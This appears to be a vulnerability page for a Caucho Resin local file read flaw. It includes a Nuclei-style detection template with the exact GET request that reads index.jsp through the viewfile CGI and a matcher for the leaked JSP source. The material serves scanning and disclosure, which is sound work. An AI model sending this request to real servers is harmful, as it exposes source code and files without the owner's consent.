There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.
PoC
id: resin-viewfile-lfr
info:
name: Caucho Resin LFR
author: princechaddha
severity: high
description: There is an input verification vulnerability in the implementation of a certain CGI program in Resin. A remote attacker may use this vulnerability to read any files in the home directory of the Web, including JSP source code or class files.
reference:
- http://0day5.com/archives/1173/
- https://www.cnvd.org.cn/flaw/show/CNVD-2006-3205
metadata:
max-request: 1
tags: resin,caucho,lfr,vuln
http:
- method: GET
path:
- "{{BaseURL}}/resin-doc/viewfile/?file=index.jsp"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
part: body
# digest: 4a0a0047304502206986321d67765a11a27a8e68fe457b1361dd0b8431a2b7c5841623d834c3e7c6022100e986c571d91e61c370ed4518793294f2ecc5951425d501f05f2cd6801bd12012:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.